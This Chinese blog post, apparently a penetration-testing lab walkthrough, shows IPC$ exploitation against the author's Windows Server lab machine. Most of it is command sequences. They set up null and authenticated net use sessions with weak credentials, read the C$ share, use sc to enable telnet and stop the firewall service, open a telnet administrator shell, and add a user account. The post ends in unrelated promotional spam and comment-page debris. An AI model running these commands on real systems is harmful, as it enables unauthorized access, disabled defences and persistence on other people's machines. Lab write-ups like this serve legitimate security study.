因为这个 win server 2008 是我的一台靶场机，所以会扫到这么多的漏洞
由于登录用户密码是我自定义修改过的，所以这里我们并没有扫到弱口令
正常来说，win server 2003 会扫到弱口令：administrator/123456
（假设我们扫到了一个登录的弱口令，这也是 IPC$ 漏洞利用的条件之一）
接下来我们分别演示利用 IPC$ 建立空连接和非空连接
我们可以无需用户名与密码与目标主机建立一个空的连接(前提是对方机器必须开了 IPC$ 共享)，利用这个空的连接，我们可以得到目标主机上的用户列表。但是在 Windows2003 以后，空连接什么权限都没有，也就是说并没有太大实质的用处。
使用命令建立 IPC$ 空连接（即用户名和密码都为空）：
net use \192.168.249.129 /u:“” “”
查看共享连接
net use
有些主机的 Administrator 管理员的密码为空，那么我们可以尝试进行空连接，但是大多数情况下服务器都阻止了使用空密码进行连接。
下面我们使用拿到的账号和密码进行 IPC$ 非空连接
使用命令：
net use \192.168.249.129 密码 /user:administrator
遇到如下的报错，这是因为我们刚才建立的空连接没有断开，正如我们前面所说，每个客户端只能与远程计算机的 IPC$ 共享建立一个连接。
因此我们先断开刚才建立的连接：
net use \192.168.249.129 /del
再次执行非空连接的命令，建立连接成功
这里顺便说一下用户权限的问题：
使用管理员组内用户( administrator 或其他管理员用户)建立 IPC$ 连接，可以执行所有命令；
而使用普通用户建立的 IPC$ 连接，仅能执行查看时间命令：net time \192.168.249.129 。
这里我们也演示一下查看当前时间：
net time \192.168.249.129
尝试查看文件和目录：
dir \192.168.249.129\c$
执行成功
与靶机对比一下，内容完全一样
当然这个命令也可以直接在运行框执行
\192.168.249.129\c$
结果如下图，我们就可以直接在这里进行图形化的操作
回到实验本身，我们使用 sc 命令获取目标计算机的所有服务列表，并保存在本地：
使用 > 符号输出到本地的 C 盘下一个名为 MY.txt 的文档里
sc \192.168.249.129 query type= service state= all > c:\MY.txt
（特别注意一点，在两个等号后面一定要加上空格，否则你导出的结果会有问题）
执行成功后我们就可以找到该文件
在进行这一步时遇到了以下问题：
1、系统资源不足 无法完成请求服务
2、sc 命令拒绝访问
3、导出文件内容为：[SC] EnumQueryServicesStatus:OpenService FAILED 1060:
解决方案：重启客户机，重新建立连接，执行命令时加上空格
查看我们导出的文件，使用快捷键 Ctrl+F 检索 telnet
可以看到该服务处于禁用状态
并且我们可以获知服务名为：TlntSvr
接下来我们设置 telnet 为自启动状态并启动它：
sc \192.168.249.129 config tlntsvr start= auto
sc \192.168.249.129 start tlntsvr
再次导出目标计算机的所有服务列表
可以看到 telnet 服务处于运行状态
为了便于后续的渗透操作，我们一般需要先对防火墙进行关闭
通过检索关键字 firewall
可以得知该服务处于运行状态，并且服务名称是 MpsSvc
（由于我这里是使用 win server 2008 进行的演示，该实验原本是基于 win server 2003 进行的，在 win server 2003 中，防火墙名称叫 SharedAccess）
使用 sc 命令关闭防火墙：
sc \192.168.249.129 stop MpsSvc
再次导出服务运行情况：
这里遇到了问题，无法获取到目标的服务列表情况
进行一些简单的命令测试，似乎已经无法与目标正确建立连接
查看目标防火墙状态，发现是刚才远程执行关闭防火墙命令所导致的
由于防火墙关闭时发生了错误，导致一些服务也无法正常工作
没办法我们只能重启靶机
（这里我进行了多次测试，都会出现这个错误，只能手动关闭防火墙了，2003 应该是没问题的）
重新在攻击机测试：
连接恢复正常
接下来我们尝试与目标计算机建立 telnet 连接
直接使用 telnet 命令跟上目标 ip ：
（注意这里没有反斜杠 \ ）
telnet 192.168.249.129
键入 y ，回车
输入用户名和密码
用户名为：administrator
密码为自己的密码（win server 2003 默认是 123456）
出于安全考虑，输入的密码不会显示出来，其实是输入成功了的，直接回车即可
telnet 连接建立成功
查看当前 ip
ipconfig
已经是我们目标靶机的 ip：192.168.249.129
查看一下当前权限：
whoami
由于 shell 已经建立，并且是最高管理员权限，我们便可以进行一系列想做的操作了。
新建普通账户：
net user MY 123456 /add
这里对密码的复杂度进行了限制，换句话说就是我们设置的密码太简单了
自我介绍一下，小编13年上海交大毕业，曾经在小公司待过，也去过华为、OPPO等大厂，18年进入阿里一直到现在。
深知大多数网络安全工程师，想要提升技能，往往是自己摸索成长，但自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！
因此收集整理了一份《2024年网络安全全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，基本涵盖了95%以上网络安全知识点，真正体系化！
由于文件比较大，这里只是将部分目录大纲截图出来，每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频，并且后续会持续更新
如果你觉得这些内容对你有帮助，可以添加VX：vip204888 （备注网络安全获取）
学习路线：
这个方向初期比较容易入门一些，掌握一些基本技术，拿起各种现成的工具就可以开黑了。不过，要想从脚本小子变成黑客大神，这个方向越往后，需要学习和掌握的东西就会越来越多以下是网络渗透需要学习的内容：
一个人可以走的很快，但一群人才能走的更远。如果你从事以下工作或对以下感兴趣，欢迎戳这里加入程序员的圈子，让我们一起学习成长！
AI人工智能、Android移动开发、AIGC大模型、C C#、Go语言、Java、Linux运维、云计算、MySQL、PMP、网络安全、Python爬虫、UE5、UI设计、Unity3D、Web前端开发、产品经理、车载开发、大数据、鸿蒙、计算机网络、嵌入式物联网、软件测试、数据结构与算法、音视频开发、Flutter、IOS开发、PHP开发、.NET、安卓逆向、云计算
图片描述](https://i-blog.csdnimg.cn/blog_migrate/bdd2c08a12003b634bcf3aaff78d9f11.png#pic_center)
一个人可以走的很快，但一群人才能走的更远。如果你从事以下工作或对以下感兴趣，欢迎戳这里加入程序员的圈子，让我们一起学习成长！
AI人工智能、Android移动开发、AIGC大模型、C C#、Go语言、Java、Linux运维、云计算、MySQL、PMP、网络安全、Python爬虫、UE5、UI设计、Unity3D、Web前端开发、产品经理、车载开发、大数据、鸿蒙、计算机网络、嵌入式物联网、软件测试、数据结构与算法、音视频开发、Flutter、IOS开发、PHP开发、.NET、安卓逆向、云计算
1361
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
